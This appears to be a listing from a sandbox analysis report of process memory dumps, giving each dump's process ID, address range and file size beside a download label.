Download
memory/2096-52-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2096-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2096-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2792-36-0x00000001400CD000-0x00000001407A1000-memory.dmp

Filesize
6.8MB

Download
memory/2792-35-0x000000013FB80000-0x0000000141782000-memory.dmp

Filesize
28.0MB

Download
memory/2792-4-0x0000000077770000-0x0000000077772000-memory.dmp

Filesize
8KB

Download
memory/2792-6-0x00000001400CD000-0x00000001407A1000-memory.dmp

Filesize
6.8MB

Download
memory/2792-11-0x00000001400CD000-0x00000001407A1000-memory.dmp

Filesize
6.8MB

Download
memory/2792-10-0x000000013FB80000-0x0000000141782000-memory.dmp

Filesize
28.0MB

Download
memory/2792-8-0x000000013FB80000-0x0000000141782000-memory.dmp

Filesize
28.0MB

Download
memory/2792-9-0x000000013FB80000-0x0000000141782000-memory.dmp

Filesize
28.0MB

Download
memory/2792-0-0x0000000077770000-0x0000000077772000-memory.dmp

Filesize
8KB

Download
memory/2792-2-0x0000000077770000-0x0000000077772000-memory.dmp

Filesize
8KB

Download
memory/2920-18-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download
memory/2920-16-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/2920-17-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2920-19-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2920-22-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2920-20-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2920-21-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download